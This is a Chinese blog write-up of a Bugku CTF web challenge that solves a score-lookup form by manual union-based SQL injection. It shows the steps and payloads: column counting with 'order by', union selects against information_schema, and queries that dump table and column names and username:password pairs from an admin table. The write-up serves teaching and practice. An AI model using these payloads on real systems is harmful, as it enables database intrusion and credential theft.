Day18

成绩单

快来查查成绩吧
http://123.206.87.240:8002/chengjidan/

Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第1张

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

本题要点:sql手注、查询基础命令

 

首先查看一下源码   Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第2张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第3张   没什么有用的信息   看到表单类型,我们应该想到sql注入       先对它进行一个判断 1.先测试正常数据,用火狐的hackbar插件post请求,一切正常  Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第4张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第5张         2.加上单引号’则数据为空,但是再加上注释符#就又正常了  Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第6张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第7张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第8张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第9张     3. 然后尝试获取列数,因为已经有名字和三科成绩了,所以就测试4或者更高,得知是4列  因为构造id=1' order by 5#时,没有正常回显,id=1' order by 4#时,正常回显,所以判断有4列。   Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第10张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第11张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第12张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第13张     4.尝试联合查询,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这四列数据    Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第14张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第15张   对于刚接触sql注入的初学者来说,大家可以多试几次,比如将id分别换成1,2,3 .....   Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第16张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第17张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第18张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第19张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第20张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第21张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第22张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第23张 我们可以看到当id=4的时候,页面就和当id=0的时候回显一样了     5.下面我们开始猜解数据库名, 数据库的用户,数据库的版本(没有顺序,把1留出来只是因为表单看起来顺眼而已....)   Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第24张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第25张     6.根据数据库skctf_flag去查询表名 id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#   这是一个固定格式~   Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第26张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第27张      

注意,这里穿插一个知识点!!!!!!

union select 手工注入

mysql中的information_schema 结构用来存储数据库系统信息  information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。     SCHEMATA 存储数据库名的,  关键字段:SCHEMA_NAME,表示数据库名称  TABLES 存储表名的  关键字段:TABLE_SCHEMA表示表所属的数据库名称;  TABLE_NAME表示表的名称  COLUMNS 存储字段名的  关键字段:TABLE_SCHEMA表示表所属的数据库名称;  TABLE_NAME表示所属的表的名称  COLUMN_NAME表示字段名      爆所有数据名  select group_concat(SCHEMA_NAME) from information_schema.schemata  得到当前库的所有表  select group_concat(table_name) from information_schema.tables where table_schema=database()  得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572  select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572  得到字段具体的值     select group_concat(username,0x3a,password) from adminuser

补充结束

    7.然后根据fl4g表去查询列名    Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第28张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第29张   得到字段skctf_flag,即为列名   8.这样我们拿到 列名 之后直接去获取数据   Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第30张 Bugku-CTF之成绩单(快来查查成绩吧) 随笔 第31张         完成!

 

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄